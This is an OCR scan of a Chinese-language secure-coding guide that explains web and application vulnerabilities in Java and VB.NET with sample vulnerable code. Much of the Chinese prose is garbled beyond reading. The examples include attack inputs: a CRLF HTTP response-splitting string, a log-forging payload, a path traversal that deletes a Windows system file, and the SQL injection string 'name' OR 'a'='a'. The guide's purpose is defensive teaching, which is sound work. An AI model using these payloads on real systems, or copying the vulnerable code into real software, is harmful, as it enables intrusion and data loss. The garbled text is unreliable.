JSON w i 2 Fl o d po7 i d R34 AERARNPF > 22 R LH b 20

Iy

=

|% % ¢ & 2 JavaScript #3F2_ ikiF -
Il. System Information Leakage

A AT HSFETR  § SR FF Y 00 R 2 4l

System information leakage % # & %] 5 /2 T 5% o

il
S
=
S
b
=%
k7
=
-k
=
=

d @i 48 e pog(logging) stk AERR ot ARt

try {

}

catch (Exception e) {
e.printStackTrace();

)
AR o G e R g R Y

P AN S TS IR SR R R
BB o o LT o L g F ek R aert By LR S X T
RIS A 57 20 T o Gldeo — B TR e 3R 4 gzgg:p et A2 % % P SQL
injection 2 5% o H s 458 4 g B N SO KA O ER T o A it
NG Y o WFRCT A BT TR AR & RN VEAE R hiF E ks
& ?gsﬁ BT PR 2k RN A R ARG oo

AR RS F o SRS RERAS R SR RT

B AL s R AN AR RSP MR B
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PIT dc 630 % S g B T iR RBISB S R RN 2

lll. Trust Boundary Violation

REV RFEIY RO TS o ¥ f FRARSK
FRFE A G ARELTH

— BT E SRR T LR - RS IA A R A R

R FAE AT R B A FRAT - ] Bl § B BEFHLT 2
Ex

KT B AR — BB DT R 78— ] o

i3

AN

Trust boundary violation 3 2 >t § 425\ 7 T #fc3 ¥ i F b f A F

Bk 73 0 B B3 AT A T R BT R R T R

F‘ﬁ#'/"bg—’; P\':"—IE; ‘ ##\i‘ o

usrname = request.getParameter("usrname");
if (session.getAttribute(ATTR_USR) == null) {
session.setAttribute(ATTR_USR, usrname);

}
Rl A A e R A S ag A A AR H R T A A3 g
PRI FR e SRS VR T A KB RE DR o AR RS g - i
AL T AL FHRAEMIRT o

BTH RS 20 3R PRHER R F AR LA 0 L TR G
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4.1.16 Environment (Java)

I. J2EE Misconfiguration: Debug Information

= & e Tomeat "z 451 & &8 L B TP § FREGAR DTA BlHAr R

>
~
>
~

F & * Tomcat % {7 # = (authentication) > B Tomcat 734 & (deployment)

#c3# (descripton)#h % ¢ 4p ®_ Realm * %k g2 Eﬂiﬁf‘g»\.r‘z T AR o

<Realm className = "org.apache.catalina.realm.JAASRealm"
appName = "SRN" userClassNames =
"com.srn.security.UserPrincipal" roleClassNames =
""com.srn.security.RolePrincipal"/>

# Realm m’fﬁ‘ﬁi‘flj 7 - 1]3:/%]@ j\:}ﬁ T_% &x—m/él % Lb/é] BoficFE AL
Feg AR AR L el o BRI R R AN F ot o Tomeat M- M0fy i

H2 bFE RABILH F D> NH ~ P ISsA o 2t &2 Tomeat 22 JAASRealm 4p B

AN LR B L 3 RE AT E TR ERE LR M A
P g T g o AR B Tomeat 4% -2 7 B 3g 3] 9 Realm > # &t
B AN

v R R o SRR RE RS 0 S T H R Y Tomeat (g

BFENT -

3
P
=
9

A R AHE TR Bl 1T 4 % Realm o
Realm & - BREG* & L R E % P iphl cnddp B> % = L2 s 4%
KR S 4 - B S BRBERY N2 G ook o & Tomeat 5 % & 0 - 1 Java

w (org.apache.catalina.Realm) » ¢+ # id i plugin %% R s - 1T 71 @
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plugin 4 %] % 7+ 7 % > Realm #g 4] o

® MemoryRealm: fAg=4ni  FFE - JE XML # B~% 230 4, » & 8t 10 -
G2 AN e R T o

® JDBCRealm: if i§ JDBC & 425 » 3B~ 333 TR E P 7% 2R w3,

® DataSourceRealm: if i JNDI F#lih > B G FHREP % 2 HFEN

® INDIRealm: i i JNDI privider » & B~ 533 FALE P ek 2% AL o

JASSRealm: if i JAAS % >4 2 APl FIRE & 2304 -
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4.1.17 Input Validation and Representation (VB.NET)

I. Command Injection

R fTend £ (command)® & 7 AS%@R T F 24y o T e E A §
f’z['@;?%i}\ H = ol T‘é\’ £ oo

R SRR SVEAEIE AR e S AR S R AN L N s

FET LRGP F

N

S AT EFV s e L F T R
(environment) » % 77 32 F ¥ U e hiy ] £ OE & (Mean)

BRI NI N RE - AR FIE LA ER G E R RFL
L b RF2 B8Rk BFEAYMEFARML 205 L5 - AR
A5 AP ERELEA- o R ARIFF A AT Z AN - R F XY
POl AR hTR B AR ARV G dp TR RS (path) 0 2L G RE AT
7 en= = 5 (binary code)fjﬁﬁ Fws s H= {;ﬁfg} HiFhs o B ARENLS I

%ﬁiﬂ” 7 ¥t R e *(privilege) -

Process.Start("update.exe");

MEARA R - BRI A2 0 PG % K 5B 6 (interface) 0 A 2t
M6 TR F L h A {ATHAE o bt R 0 {ATHB SIS ALA L

7 update.exe 4p 4 o F A2 A dp LB HHE C(absolute path) o At ey fF

Process.start()= v+ % ; f B W © T F A 5 1B e SPATH %k e E&x’@?—*ﬁ
K

¥ %5 update.exe (hE R - AL 0 IR EAR A RE Y T RIARS g
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M E R A e d Y AR B B IS R R

T4 T ﬁc?}—%ﬁiﬁ e update.exe #-¢ fiTEEIT /o %-}’(I?c?f"ﬁ? A A

Bz 2 S 2 e 7 0 7 LRSS ¢ 0§75 00 Process.start() =
2 0 fedn TH G HELD > M L st JOPATH 3 skt Ap b Tk 5 R
Ho % o 0 BELAFF A RFD B R™ N2 R B A @
B o
1. Cross-Site Scripting: Persistent

Bz AmAEOF ORI R R (orowser) § ERFTERGTE LA -

S fE iRk 4 ALTF Stored XSS A & MM AT A A B - EF A
BERENE G ST G HE s BB 2N - E ASKFT RO
PEEAFFRELARS > QREBEIRTRY A -

BT eRFFEDEILP FEF 5 JavaScript ¥ B0 0 e T e F
HTML ~ Flash # # ] ff B i §4 7 #2358 47 3] - XSS € ¥ ¢ @ 455 Cookie 2 47 i
RRAR M2 T DR A FTARGSF L B T F EATE e (redirect) st F AT

E§2 N % (content) ; zwﬁﬂ’% © ks E ek Al SR PR FER

f2 5t .

protected System.Web.Ul.WebControls.Label EmployeeName;

string query = "select * from emp where id=" + eid;
sda = new SqlDataAdapter(query, conn);
sda.Fill(dt);
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string name = dt.Rows[0]["Name"];

EmployeeName.Text = name;

nbAREr R R kha i 1 TR XA 0 NG
P ESEF -

name & ¥ iF (TpF > P AR FEL €0 FEIT o BhokZE A T FiFF P
B E AL AR L 5T F o F name IR Y HREDTHAL S RFTHEE S S
REELNFOPE - od il Hign e PP hE R~ R A
T ET AR FOReRFATEY NEERIp S o W RS FROTHE
TR FEN R R e

Hjgid= iR r 5 - Baethlid it

“3
=k
“&&

TIPS QR EHR Y
T BERGRTE  F LFET A g B L[ F T F RIS RS o
lll. Denial of Service

PR g’imgt—“z%&ﬂﬁi‘k R L Ed —‘F'T;E/z’ﬁ & * f7It oo

I@?—"z AR AN FE S B R K(request)r R HIEB L E @ * —‘F'T 2 PR
Toofe A R BA LK § LR AR o RBRE N R F f R
CEER{T AP A2 o R (bug) T RITEF Ky Lk TR Y ik

PRt AR Y AT RO o

using (StreamReader sr = new StreamReader("file.zip"))
{

String line;

line = sr.ReadLine();
}
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bR N filezip #h Y EP-F B o F] 5 @ * ReadLine() éﬁx@ﬂ
IHEFF G Iz?—"z”‘ A pbge sV k51 OutOfMemoryException o g —‘,5‘
WHEA TR URENFTEAEOFRFRAFEERT AR » & A58

BTG &R

Hfgd 202 Htac kg # "’“ig T AT R B L A AR "*“Lr?}i ’
R I I
IV. Header Manipulation

% HTTP ¥ J&(response) % f (header)® & 7 A S DT € FR3F 5 &4k
eI o

PLRE G NI T A AN H - B FOR SR T IR kR bl4e HTTP
RO Tt R AR c H o A AESKRFOTHE F AHTTP v R4 ep
BT o R e

4ofe 3F 5 gkl ch% > Mk F - Header Manipulation .3 ¥| p chei- f& £ B>
A E - BR e EFORAAAHE FFREELTHL G RF O

o AL REFTHe ZAHTTP R AP o

B % & - f& Header Manipulation sz # 5 HTTP Response Splitting = 5 7 =
7 i {7 HTTP Response Splitting sz % » B * #2378 & Jf o2F 11 T2 ﬁisa] T F
~(character)CR (Carriage Return > 7= d %0d #\r 45 %) £ LF (Line Feed » 7~ d

%0a % \n pr T) Fouber RER g F AR ﬁ"’ﬁ;{ﬁi—ﬁ#’ﬁ;nﬁ&w AL 1 Rt

0 fs & S few e F (body) + 3B i se o Bdl k2 gk s ¢
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protected System.Web.Ul.WebControls.TextBox Author;

string author = Author.Text;
Cookie cookie = new Cookie("author", author);

vLE AR g R g S HTTP & @ 3 B §2 30 % § (weblog)7E P mxri Z A
(author) » & ¥ H#3% & LK 2 & HTTP % J& <1 Cookie % B # o
Bk kY B0 - Bl % HF ~(alpha-numeric)?7 e = 5 B 0 4o

"Jane Smith | » 7R & 3 iz B Cookie G HTTP W 57 &t € # J 5 1 T 550 ¢

HTTP/1.1 200 OK

Set-Cookie: author=Jane Smith

% i 0 F] % cookid eiE Hd ABRIFHE R —ﬂﬁﬂ)\ mER IR g Rt
% AuthorText ePiE % ¢ 7 i@ CRYr LF F ~ » 78w i ¢ T &5 © 4o
5 Ii-c%:iﬂ’a‘% %2 (submit) 7 — B E & F # (string) > 4= " Wiley Hacker\r\nHTTP/1.1 200

OK\A\N... ;7 7R HTTP % i § A 2] & 12T & 635 5% eow g

HTTP/1.1 200 OK

Set-Cookie: author=Wiley Hacker
HTTP/1.1 200 OK

BB w RARSTEF ] P i iER Ao v N F RS o 2 F
iﬂ" Tk SR iE E HTTP w i R iE (7 7 I fasf chrc &y @ 3515 %~ (cross-user)
%z (defacement) ~ & T o ifl ¥ & & P~z & W (cache) {2 » fl’%’* (poisoning) ~

Cross-Site Scripting {4 F 24 3F (hijacking) °
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Rfai-= 2 L8Ry fimr 288 BFERRORE HWEBRY A
W2 T o B WRITIRY FE O~ BEF 0 o CRELFF A0 PIES R
V. Log Forging

WA B K cnfy ~ B O P sAh(log file) 0 § s Y e sR P o

LS A O RER S S A

H/FLE R ANTAFENET, > - LTI 7 R ORRE &
AR H - FRTAE O~ B ARV Ak SLp 3EAE o

Bt AR R piE kT 2(event)d 2 b el M SR
PR B 22 45 (debugging) 2 o 1R T AR hA A R R P AR
FRFERFEIERE > A F1I L pHERLLTRATR -

R RETHRGET EPN F T AR 0 RT A gD R

Rk o R o FH T A g

S

B R RS R B 0 6 R e ]
B~ P ER o Ack p ik g A e s 3’&}%;&:?-%3}‘&? iRk EER Y 7‘{%‘
d B % 58 (format) & 7 » (inject)FE 8 b ch3 2 0 T % P iRRHEAES A

EE) T

string val = (string)Session["val"];

try {
int value = Int32.Parse(val);

}

catch (FormatException fe) {
log.Info("Failed to parse val=" + val);
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ek R T ? Ttwenty-one ; % val > B § 35411 T 3F B

INFO: Failed to parse val=twenty-one

)

% ] ] b LR 3T # -% % i F B

" twenty-one%0a%0alNFO:+User+logged+out%3dbadguy ; » R € & 4511 T 138

INFO: Failed to parse val=twenty-one
INFO: User logged out=badguy

KOO MR Aer P AR

St

gk 2 4D i ehe 8 30 p e B 0 3 RIE T ke
ViR MBSO T R R A RRY H A2 TR 260 &R L)
Pl Rl 2 %F o S AR AT D AR 3 EE S IRET L5
@ o

VI. Often Misused: File Upload

R E LB RIFH LI prAN F RS DREFRR
PR 2 (server) t o
HEREPE T RN R BRIt B e Rt aRE o
%‘ﬁﬁ“ x’y:%t—‘ﬁ = F TR AR IARN (O 2 (context) P o %”xiﬂk—‘ﬁ <
Bk DRV 3B P 4 (directory) 0 T R A R @R T oA N R

(interpreter) » B € i# iz fHE PN & FNE LB EFREF T o

HttpPostedFile posted = FileUpload.PostedFile;

AR AR D Ak X R-H 4k % posted 4 i o FileUpload 3t
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System.Web.UI.HtmIControls.HtmlInputFile #g 3] o
PR BB R R FR A GRS ET S EE T g
HHEILEER B (environment)i! » EZ P 7 K FFH s R rc® o At 5 2B

Skl RIEF G B BAPM F oM e L BB IRF > RAZSH

il 24 HEEt @ 2589 30 S BER > ¥R —‘F*f
FiEETE TR H ¥ g Ea F @3 p e RGP &N > 5 HEH —‘F*fs&
@?ﬁﬁﬁ’xﬁﬁﬁmﬁjﬁﬁ’%ﬂfﬁﬁi*ﬁ?%iiﬂﬂwﬁﬁi
B* A2 T UFREFEPIREZL X 2.

VII. Path Manipulation

A B RS R RS A T ANIES &

S )
L
\\‘: N
id

2z

WO Rk eh kAT R o

SR EE AT A BN H - A T R R AR R e

Sk (TR T LH TR R EF T - R T 2 e
K':l °

String rName = Request.ltem("reportName");

File.delete("C:\\users\\reports\\" + rName);

P AR SRR R HTTP & Ry » RaE 2 - BARE AL
ERERP R AN TG REHE L W
T\ \\Windows\\System32\\krnI386.exe | 1¥ it 1+ » i& € Fik i ﬁii‘ﬁ“l",’f *

168



¥ krnl386.exe & Sifh %k o
R R 2 R F ooy~ o ¥R o iy~ O ROl B

PR EG e G\ /R ANREF I GAE ST LW o 2 S

VIIL.SQL Injection
% * % mﬁ%l AR KaE = Hs A5 SQL ML (statement) ) F gir'z?;};‘f DE=d Bik=s]

L& ERFELHSAL # 4 (command) e

string userName = ctx.getAuthenticatedUserName();
string query = "SELECT * FROM items WHERE owner =" +
userName + "' AND itemname ="" + [temName.Text + "'";
sda = new SqlDataAdapter(query, conn);

DataTable dt = new DataTable();

sda.Fill(dt);

b fei 4R - B # i (dynamic)SQL A7 (query) iz AT R RIEE B

(currently-authenticated) =78 p o

P RN e AT e

SELECT * FROM items

WHERE owner = <userName>
AND itemname = <itemName>;
driE R AR G AT P e FRAHENTE Jom TP o 0
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% itemName ;2§ ¢ 7 H 31 5i(single-quote) 3 ~ chpFiz » #4341 ¢ T FESL (T - B
€% F LA s wiley s L itemName fi5 ~ 5 8 name' OR 'a'='a > 78/ 434

SELECT * FROM items
WHERE owner = 'wiley'
AND itemname = 'name' OR 'a'='a’;

iH4v 15 2 OR'a'="a' ¢ @ where + @7 X3 & E (True) » #F14t H3q F 3000 T

TR
SELECT * FROM items;

firenhig e n *ﬁzé}*i‘!XE”ﬁpa P gpt g iﬁb’“r#‘a"ﬁ IR Pt B3
oW BT RE g fitems 2 ¢ IE P oo

B @ LA R i RGN Aok IRE ST S
ﬁ;;] r oo B IRER o

IX. Unsafe Reflection

K ST AR5V E 2 & SR ehiz ] (control flow)BE AT @ 4t T 0L
B 2>iied o

%;’z%ﬁdﬁ? ﬁg?] »Eo B T 4RSS € 1 * I K257 b (instantiate) sgE W) &
# 51 (invoke) s ;& > E'J;’{&t—g,j.}a? MR AR 0 2 2 R SN R Ay
oAl OB AT o 2 3T JT (vector) € éﬁx’z?—‘ﬁ ¥ B B 7% (Authentication) &% 75 P37 4]
(Access Control)¥e & 5 @ B % f258 1 m 2 TpHp e NiF (T o TR v g @i T 2
i# (method) #* 2 4§ 31 3% (constructor) 575 | #& I’ziif—‘ﬁ R IR A g B 1F A g deat

‘?E’f”l&-ﬂl";{f—{ o
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Dim ctl As String

Dim ao As New Worker()

ctl = Request.Form("ctl")

If (String.Compare(ctl,"Add") = 0)

Then ao.DoAddCommand(Request)

Else If (String.Compare(ctl,"Modify") = 0)
Then ao.DoModifyCommand(Request)

Else
App.EventLog("No Action Found", 4)
End If
AN K H LA R ¥ F p(reflection) k34 17 & £ 4 i E(dispatch) © 12 F 42 3¢

BT AR Ryl FiEE.

ERBG ST NG IR E R

Dim ctl As String

Dim ao As New Worker()

ctl = Request.Form("ctl")
CallByName(ao, ctl, vboMethod, Request)

i ECAR S T AR e AR TR (if/else ®HLR 2HE) 0 2 BT Y

%m'f E‘K#'Jgéiﬁ- o e I?B" &‘iﬁ-b q_jﬂi‘(stale) K &7 Worker = i

BT B e P - B2 ,T}u{;i Worker 47 & § F 34 {7 3 B~ 4241
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¥d o E£ITP N BT

Dim ctl As String

Dim ao As New Worker()

ctl = Request.Form("ctl")

If (@ao.checkAccessControl(ctl,Request) = True)

Then CallByName(ao, "Do" & ctl & "Command", vbMethod,

Request)
End If
Bk ereed o AU BB ARG B R B B g R AR R

ok

LZEE2PT B4R -

BizA 2 2332 R R v FRARGFHLFPE R
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4.1.18 API Abuse (VB.NET)

I. Code Correctness: Class Does Not Implement Equals
A7 1% equals()4= i » Fred e equals() o

PR ERE S OBNAFTFEN R B OEE L AAP R

@ iF

m

(implement)equals() % %] F w¥ e equals() > € & = ¥+ %K p java.lang.Object
equals()™ /% 2 #f v o Object.equals() ¢ ** #= i 4~ i §F | (instance) k FEzidr & A_

AR > @ A Bt dde 2 AR 4P = (field) s H @ FH44 o

public class AccountGroup{
private int gid;
public int Gid{

get { return gid; }

set { gid = value; }

public class CompareGroup{

public bool compareGroups(AccountGroup groupl,
AccountGroup group2){

return groupl.Equals(group2);

//Equals() is not implemented in AccountGroup

}
}

b AN de b BAr A 0 B2 AR £ JE i * Object.equals() 0 e Bagi ¥ & 7 AR

FEL® W F| 3 ap i * oo



Il. Missing Check against Null
AR T o € fE f % & (dereference) % & (Null)4p #%(pointer) - Tzl e h

L
El o

—_

—_—

Sdw BE > EHw BET NS

AT H Rk sz Bod s R SR R (violation) #2743 3 NBRR B

AF EFMA B P LOFIER > 2 - 70 3Nkl g7 ¢ 47
VLR S N et et & py) LR R o T ngﬁ_\i}\ )J.EFF&“%\;},;R@@« @,’EF&,E;]‘A,:%

— 217

TR P B o

string itemName = request.ltem(ITEM_NAME);
if (temName.Equals(IMPORTANT _ITEM)) {

bR AR5 A e et Equals() st B S0 gN @ g%ﬁﬁ ltem fHitw B ez 8 87

=

Z & ¥ 5 € i = null dereference °

AR 2 R 2 R FRARN R 2 ER AR A P AR R

-k
1-1\

PEAEAARY RSN AFRAEA T BEL TR T fEY st

lIl. Unchecked Return Value

£v% 2B 2 E (method)sw & iE > 7 5 IR ARV ¥ | E TR

ALK F K E € read()r H i Ap M > JE Syt B systemiio A7 % 0 &NET

Poh S e iR F Y ondE 2 € R D Bt (e & _stream ¥ reader #7 %]
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BRFEFTHTFZEGT R AT g FH Do JHagn NG gl ]
EOFE A v BEHER L Py BEX PN AT e F o
TF oA RHEY BT R E ENE ROTHE -

PARF R E e B read()shr B 2 H W 10 B2 o TRERE P

SRR T A EE -

char[] byteArray = new char[1024];
for (IEnumerator i=users.GetEnumerator();
i.MoveNext() ;i.Current()) {
string userName = (string) i.Current();
string pFileName = PFILE_ROOT + "/" + userName;
StreamReader sr = new StreamReader(pFileName);
sr.Read(byteArray,0,1024);
//the file is always 1k bytes
sr.Close();
processPFile(userName, byteArray);

}

AN @t for ik [B] 0 - %if%?*iﬂ"t‘ BoE B ﬁéﬁpFileNameo

%E;‘Tﬂ?ﬁ Bk B P2 FhZx s 458 5 1024 bytes » Fla £ 3% 7 read()Hw @
B o FITHFFT uE 20 1024 bytes o] ok o RAARS g BT - B R
iﬂ”%uj I’y:?"ﬁ £ 1024 bytes chF L # gkt TARLE FI{?J"m“rp Pk RIL o

g2 A FRAE T BE - F AR F AR T systemiio 2 R

F3E M AL R A R B Pl e ER VRS Lk

2 fRAS A
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4.1.19 Security Features (VB.NET)

I.  Access Control: Database
RFARFEPEd o RWEF - B g R Fd AL £ (primary key):h
SQL 4 » ¥ € fag%friﬂhﬁ—i Bp AR a8
FHRESE LS FET R §F 2 0T A mHY 0 - LT B2
VR kiRE AR 0 B2 B AH - P2 gt B kg L SQL A ¢ h

ERE ¥

CMyRecordset rs(&dbms);

rs.PrepareSQL("SELECT * FROM invoices WHERE id = ?");
rs.SetParam_int(0,atoi(r.Lookup("invoicelD").c_str()));
rs.SafeExecuteSQL();

rEfR SN Rl (parameterlze)mffﬁ » B Y M3 = (metacharacter)n
# % 2 g g SQLinjection (FF 0 * kZE 2 BH(FSQLAR M LTV IE B4
TR P H o AN P T SR i ;ﬁifﬁéﬁsﬁﬁ?iﬁ‘ﬁ P OiE B

PORREAAR R G AT i chid o 828 41 5 (interface) A 2 1 T
P it H A LA B H T iy a2 & RERFE

Flat AT RAR T URERRE T F G T H 2 B AR G
B erd o H o TRFHED B p oy e

G NI o T r/{""‘j PPN AN R E T IR R HE -

BT MERRERAS Y NG FRFLT L el P
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PHBELFA BRI G

Il. Cookie Security: HTTPOnly not Set

SRR E A LT A 0 f85N Asg - 1B cookie s i ¥ A E-H  HttpOnly
SUERK 5 Z (true) ©

Peic 2§ 50 % (Microsoft Internet Explorer) 2 317 18 * = =4 (client-side) %~ &
(script) 77 B~ cookie 7 HttpOnly cookie 4% % o Cross-Site Scripting sc# il % € 5 B~
cookie » ¥ ;é%& session 3% %] £% &% Authentication &3z (token) - & T * HttpOnly

P st 5T L dE S s P-R ¥ 3 cookie

HttpCookie cookie = new HttpCookie("emailCookie", email);
Response.AppendCookie(cookie);

11F AR5 P Gg s gE € 4F > cookie > @ F K F_HttpOnly # 4 o

cookie FF » & F_#- HttpOnly 3 #_5

i
o

lll. Insecure Randomness

TR g RS EF 2 4 B(pseudo-random number generator) i ¥ # it 4%
Fite B 7 # (cryptographic attack) °

WE 2 MACR kB Y o i A 2 7 E R (predictable) i i 2 3 dicd (T
kimig* g € &2 Insecure Randomness 45 3% o

T M B A A 2 (deterministic) s B 0 &3 T it A2 B D OREM o B E

" EcF A 2 FB(PRNG)IT 3 REH I B 0 € - B ¥ 1438 15 4 (subsequence)
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BB fE+ (seed) B 4 o

PRNG ¢ 4% #8477

L1t 3\ (statistical)fr e B 3¢ (cryptographic) ©
S 3V PRNG ¥ 4 e * it F oo e 5’;&‘“35%]:'1 F 5 AR Bl IE S
A BE R R F]PL A A P A 2B PRGN A 4 2 4 VSRR B iE Tk
B o
7 PRNG R| ¢ & 2 14 ?E'}E'Jﬁﬂﬁi%] MRFRA PR R 5 T B R REE L 4
> %R I%I{§i§£,

BORELH WM BB E B R Pt BciE o Bt PRNG R B 2
o B2 PRNG @ s 3 JBi% o

2T R TR
f% q"’ o

string GenerateReceiptURL(string baseUrl) {
Random Gen = new Random();

return(baseUrl + Gen.Next().toString() + ".html")
}

i Pﬁi B * st

/La‘-_'

;¥ PRNG %k & qzdpiz 2 - B URL> ot fadp bR (2 33

5
=R

Wfg g i % Gen.Next()SBc i B oA 4 dedp B oo A 4 rE— G R[EE o T
% Gen.Next()E_iF ¥23*+ 3% 9 PRNG > I:U?J 3R }I/’Zg PHerAE A2 FE o

BE AR o dR AR T R AE R ¥ — B4 %A PRNG > 4
ER RS

HH AR S R PHERRT Y ARV AESE SHREEFE R
B A AR 4B PRNG - BEAAH A & R o e A

1 E_b

P %, Lt
g i# PRI
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L% 2 o

IV. Password Management
P Rt NG - B §ERT AT I B
BABEIEOREF L AN TE > FRAUH T R Y 2

P CES I = i E el S RE I L

Al

string password = regKey.GetValue(passKey).ToString());
NetworkCredential netCred = new
NetworkCredential(username,password,domain);

AR o EE Y - BRI I SR

i
i
puii
| 4
|
=
She
—\‘\
a\

FLEENERAFELT 7 TRAE BATR G ER AR REY
3 RABAE AR Ksb % P~ 3| password siE o drk i - BTG EXL DA LT
1 ’,L}B’»EIJLLL Pﬁ;ﬂ‘m?‘; ’ E"Jﬂ'bﬁ,‘ T - I!'f ’1+ LPﬁ %%ﬂffgﬁﬁ-% /:z,: 5 o

GRB TR AALT 2P ET RN PR MT LB L &

[y
/\‘
‘3;
A}
I’

EELYIE RAE B F e MmN R R Y o 0§ ¥ A g

|~

BEodEaE s @ RAESKFTFREER Y REDRRAF RN S

g%,n'zﬂﬁ;’i#—% ES (laxj'_;ﬁiiug/ggii s h¥EBH '?,/E%,f‘: SARE o WO R A%.@ 7\%

)
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V. Privacy Violation

B ARSLEL TR G AR R AR AL S EF IR

>
N
e
—=p
oy
£
=
1]

IR FEF BT D LEBDGTL

Private Violation ¢* f& i 3 £ 3t 0T & fd i) - H - AR ¥ L T

AN o H - FREFFTHE - BN E o Blder 337 5 (console) ~ #hE

pass = GetPassword();

dbmsLog.WriteLine(id+":"+pass+":"+type+":"+tstamp);

mE RN E 20 - B R O~ s iE (statement) o g;‘g - B P A (log file)
whZ P RWEFFTHEEHRE e8P F o H B2 EF Y ot

getPassword() & ;% w & & # —‘ﬁ:}fﬁf P RRE AR 2 B F RS o
bl b2 g eIARN T R AR g BRI Y F et ek g R R o

AT S RN B R ARG R R TR 2L R R e 2

o

Reizhott etz Tk ks A H E M E B g T
B kiR A EEY SRR TREE T e 25t H -

TRRpRRTY FALORH/ABAFTA 0 E D AR AN 3R E AL

FREEFTHEL ARG A TR LA P TR T §
FARPTER O FIAERE P RS
AR AHBEINBZPEL BT LA EREFT I DEE L ST
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B AR RAL ARE o T BB S - BRSTH

R L R R e e

\T‘
—4
—mde

EROPITII o ang o B B E AR S AR

ARG SRR EREP TN X 2 2L e L H bk & LR
A2 gt E s BRRTHEF 6 E RSN ANTERR > A G
TETRB GE A RIER TR AR F S B R TR

e e HFIGERELEpM TR S RE

\mL
oty
b
T
A
'{.X\
~
il
ik
nd

i o bilho o £2004 # - B AOL X F s enf 1 > %% 4 + 3 F FhE 2
SR S IR | ﬁ@EJﬁﬁ e 2h e B CER 1 g8 ﬁ—‘*‘(spammer)

A QAT E R o B A EF TR R AR LA
AW T ede 0 Fl L i %@%J' B M AR KA EARL 0 & F] G RRR
Bt jhend gy EB A GTEFTRS BRREL > F G R FORILEFT
FLERE s F oA S RN B A TGP H g N kR o PR A e
ST R R 2 R AR R R R o ARV R AR
PP TR TR L R B R B R - AT g 0 blded B R F 2 0%
F 3okl ~ 4258 > 12 FF G Private Violation 2_ Bk 0 T OLRE G TRLE 0 2 R
# ik SQLInjection » fiFF » % B M EFFTARFER RSB EpEF 7 Ut

BpcA 2 ¥ ki Fra Rk y TR > =Y g Weak Encryption ik



TR §RY Fhrd PR ILEE S BB ATHGIELRER 0 AR
AR R A A A HRELRA 0 F oA Nt RS iR A TR TR Fl A g

Br o
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4.1.20 Time and State (VB.NET)

I.  ASP .NET Bad Practices: Non-serializable Object Stored in Session

ke - B A ¥ B end 2§ (¥ B HttpSessionState #4 > € 5T Ik
#2747 3L (reliability) o

%EE’ TR PET 4 ASPNET BRF € 573 HttpSessionState pt 4= i ~ 11 2
Pt HAR SRS R Y o M HCE] € P IEH ¢ chsession ik G OH

S BRI RAR . 3 BEFEE U] FIRERMF T Y kA

N

FsessionREFT M > ot A EHFALEFE R AFV AL CBEIHY
oS R asta o 500 B iFH session B 0 BIRE LR R A

HttpSessionState 4= i » p* 7T & H 43 @G endr 2 % 5 ¥ B 7]t o

% 7 i session it Fg I FER F Vo B 425N P T BE T & session FF e it
& Jf ¥ % % 3 Serializable 4 o K,% Pz b s ekt it R Rp (FEE DR
2 0 v B P 317 ISerializable /& o
public class DataGlob{
String GlobName;
String GlobValue;
public void AddToSession(HttpSessionState session){
session["glob"] = this;
}
}
"L FR R 5 — BB (class) o H-p £ 4e T session oo 2 R d 0 H 57

TR 7L > &t session e fo It FEED

J
W
=
—_
=
o

HApM 242 @ S 4 %kt

ol
F_&
%
e
2
kY

L
"
-
pinl
b=t
5
}3\.
W
(u
ﬂ\%
S



\:?—}:

4 » I session P o F] i 3 ik BPRF (server)f|* #13 1 session #cdp B > A

T34 S 2 sessions TR PIREB L AL o F PIREE I

(4
9
—mde

MR P > F 5 RFIRBL Y B Y kAFH session A F M w2 LER S

v o) T‘?PR%,T&L% Eéiﬁiﬁﬂfﬁ'ﬁ#fi’@ﬁ%} o
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4.1.21 Errors (VB.NET)
I. Poor Error Handling: Empty Catch Block
&% — b (exception) § F I AR 5C £oug B b Gk B2 ) o
T ARk S BB RE s SRR T AR K B

212

B2 15 RN R E B T Ay s ks L A bW

€ 5B AR DEKR BGTH o
ABEFTAPBRIAT S ARSNGB AP H - FaSB S et el R

Jﬁmgiﬂ’z’—,ﬂ:@r%i@f@%,zmacupu%g B § - BARNE

FEE - B ARE > A A PAEATE @ P GAST I A BERKL Y

try {
doExchange();

}

catch (RareException e) {
// this can never happen

}

b AN g R B S try and catch o H Zv: 7 — B j&_doExchange()F & $¢ d1 e

FP24 7 — B RareException i1k #h » 258 K¢ F] 5 catch f X5 #E B TP
AR A BT DR BAANKET EbrE gL PR aEP > a2

REAIY g kR RAR N K AR AR 0 Mg R Y FaE

¥t RF NfRAC P > B AR R

ke

BEBARNE Atry P R TN

DI b enfR N > e UF catch #RB~T| G b pF > L JE & 5 4R ﬁl@mﬁmi—# Yo &
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PIAEN B¢ R E > FlapTEBR i
RN % try and catch s 2 o

Try and catch B & #oc 8 j= ﬁ&;&’ B HEPNB~il * 2. Exceptions 4ol T A2V FE o

try{
//Code

}

catch (Exception ex){
MessageBox.Show(ex.Message); //show the exception

}

# * Try and catch ¢ i = % 3L2 »xic T "% > 7 i B EE B AR 2 K try and

catch » #712 £ & #-try and catch * A& — W ¥ W FpH eng b F & F 3] £ & FRE~2
Gl blder TR AL R AR A S LTHAR B
F IO R H € I o PR At tryand catch R RE~H B ¢h o

% 7 Sk 2 try and catch & > § try p JVIRAEES catch #RB~F b oF B o ,T}u

€ 3017 catch p 2 485V 75 » 4 7 = (S ¥+ 1) catch > 2 15 | € & _catch B+ 1) 2 {5 M5
HiT oo
try{
inti=0;
intk=10/1i;
try{
inta=0;
intb=10/ a;
}

catch(Exception ex){
MessageBox.Show("Inside");

}

catch(Exception ex){
MessageBox.Show("Outside");
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}

v b fes g d k3l k)bt rd ¢ B F) Outside i catch # > ¢ & 7+ 41 Outside

o B AARS LT o

try{
try{
inta=0;
intb=10/3;
}
catch(Exception ex){
MessageBox.Show("Inside");
}
inti=0;
intk=10/1i;
}
catch(Exception ex){
MessageBox.Show("Outside");
}

m g hd b1 B 0 & € BT Inside ¢ catch ¢ o AT 1 Inside 1 A2
R DRFFKE I X p T Outside i catch p o A Bp T

Outside {$ #7255 if B R 7 o

private void buttonl_Click(object sender, EventArgs e){

try{
func();

}

catch(Exception ex){
MessageBox.Show("From click");

}

}

private void func(){
inti=0;
intk=10/1i;

}

G e try ¢ORIEFRS G e 3 FAeE e a3 func() 2 ERF 0 ¥ TR
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% tryandcatch &k & B A B 3N o 4ol b 32 0 &

hoo B F o R IRT UFRT] func() S E ;éur‘ R

#RE ¥ 1l catch FRB- 1]

_7‘\ f}]] ?l‘ o

try{
func();

}
catch (Exception ex){
MessageBox.Show(ex.Message);
}
}
private void func(){
try{
inti=0;
intk=10/1i;
}

catch (Exception ex){

}

